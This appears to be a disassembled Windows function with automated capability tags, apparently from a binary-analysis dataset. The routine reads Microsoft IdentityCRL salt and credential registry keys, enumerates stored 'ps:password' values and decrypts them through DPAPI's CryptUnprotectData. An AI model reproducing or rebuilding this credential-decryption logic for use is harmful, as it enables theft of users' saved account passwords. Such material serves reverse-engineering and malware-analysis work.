Function at 0x425bb7
Capabilities:
Contain obfuscated stackstrings
Encrypt data using dpapi
Query or enumerate registry key
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x46d4
call fcn.00612c90
mov eax, dword [0x6ffe74]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
mov ebx, dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
lea eax, [ebp - 0x469c]
push esi
push edi
push eax
push 0x20019
mov dword [ebp - 0x46b8], ecx
xor ecx, ecx
push ecx
push str.SoftwareMicrosoftIdentityCRLDynamic_Salt
push SysReAllocString
mov dword [ebp - 0x46a4], 0x1388
mov dword [ebp - 0x48], 0x470025
mov dword [ebp - 0x44], 0x50004b
mov dword [ebp - 0x40], 0x5e0024
mov dword [ebp - 0x3c], 0x5e0025
mov dword [ebp - 0x38], 0x4c0026
mov dword [ebp - 0x34], 0x28004c
mov dword [ebp - 0x30], 0x5e0025
mov dword [ebp - 0x2c], 0x5e0024
mov dword [ebp - 0x28], 0x26004f
mov dword [ebp - 0x24], 0x520054
mov dword [ebp - 0x20], 0x5e0024
mov dword [ebp - 0x1c], 0x5e0025
mov dword [ebp - 0x18], 0x560047
mov dword [ebp - 0x14], 0x3b0036
mov dword [ebp - 0x10], 0x78006c
mov dword [ebp - 0xc], 0x64007a
call ebx
test eax, eax
jne 0x425d0b
lea eax, [ebp - 0x46a4]
push eax
lea eax, [ebp - 0x3310]
push eax
lea eax, [ebp - 0x46b0]
push eax
push 0
push str.Value
push dword [ebp - 0x469c]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
push dword [ebp - 0x469c]
mov edi, dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov esi, eax
call edi
test esi, esi
jne 0x425d0b
lea eax, [ebp - 0x3310]
mov dword [ebp - 0x46c8], 0x40
mov dword [ebp - 0x46cc], eax
mov eax, dword [ebp - 0x46a4]
mov dword [ebp - 0x46d0], eax
lea eax, [ebp - 0x48]
mov dword [ebp - 0x46c4], eax
lea eax, [ebp - 0x46c0]
push eax
push 1
push esi
push esi
lea eax, [ebp - 0x46c8]
push eax
push esi
lea eax, [ebp - 0x46d0]
push eax
call dword [sym.imp.CRYPT32.dll_CryptUnprotectData]
test eax, eax
jne 0x425d1c
call dword [sym.imp.KERNEL32.dll_GetLastError]
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.006122f0
leave
ret
push 0x40
lea eax, [ebp - 0x48]
push eax
lea eax, [ebp - 0x1f88]
push eax
call fcn.00638b30
add esp, 0xc
lea eax, [ebp - 0x1f48]
push dword [ebp - 0x46c0]
push dword [ebp - 0x46bc]
push eax
call fcn.00638b30
mov eax, dword [ebp - 0x46c0]
add esp, 0xc
add eax, 0x40
mov dword [ebp - 0x46b4], eax
lea eax, [ebp - 0x469c]
push eax
push 0x20019
push esi
push str.SoftwareMicrosoftIdentityCRLCreds
push SysReAllocString
call ebx
test eax, eax
jne 0x425d0b
push esi
push esi
push esi
push esi
lea eax, [ebp - 0x46a0]
mov ebx, esi
push eax
lea eax, [ebp - 0x430]
push eax
push esi
jmp 0x425e82
lea eax, [ebp - 0x430]
push eax
push str.SoftwareMicrosoftIdentityCRLCreds_s
lea eax, [ebp - 0x818]
push 0x3e8
push eax
call fcn.00402e0a
add esp, 0x10
lea eax, [ebp - 0x46a8]
push eax
push 0x20019
push esi
lea eax, [ebp - 0x818]
push eax
push SysReAllocString
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x425e6e
lea eax, [ebp - 0x46ac]
mov dword [ebp - 0x46ac], 0x1388
push eax
lea eax, [ebp - 0x4698]
push eax
lea eax, [ebp - 0x46b0]
push eax
push esi
push str.ps:password
push dword [ebp - 0x46a8]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
push dword [ebp - 0x46a8]
mov esi, eax
call edi
test esi, esi
jne 0x425e6c
mov edx, dword [ebp - 0x46ac]
lea eax, [ebp - 0xc00]
push ecx
push eax
push dword [ebp - 0x46b4]
lea eax, [ebp - 0x1f88]
push eax
lea ecx, [ebp - 0x4698]
call fcn.00425aec
add esp, 0x10
test eax, eax
je 0x425e6c
push 0xffffffffffffffff
mov ecx, 0x6c5bb9
lea eax, [ebp - 0xc00]
push ecx
push eax
lea eax, [ebp - 0x430]
push eax
push ecx
push ecx
mov ecx, dword [ebp - 0x46b8]
push 0x66
push 3
call fcn.0043ee6b
xor esi, esi
push esi
push esi
push esi
push esi
lea eax, [ebp - 0x46a0]
inc ebx
push eax
lea eax, [ebp - 0x430]
push eax
push ebx
push dword [ebp - 0x469c]
mov dword [ebp - 0x46a0], 0x3e8
call dword [sym.imp.ADVAPI32.dll_RegEnumKeyExA]
test eax, eax
je 0x425d92
push dword [ebp - 0x469c]
call edi
xor eax, eax
inc eax
jmp 0x425d0d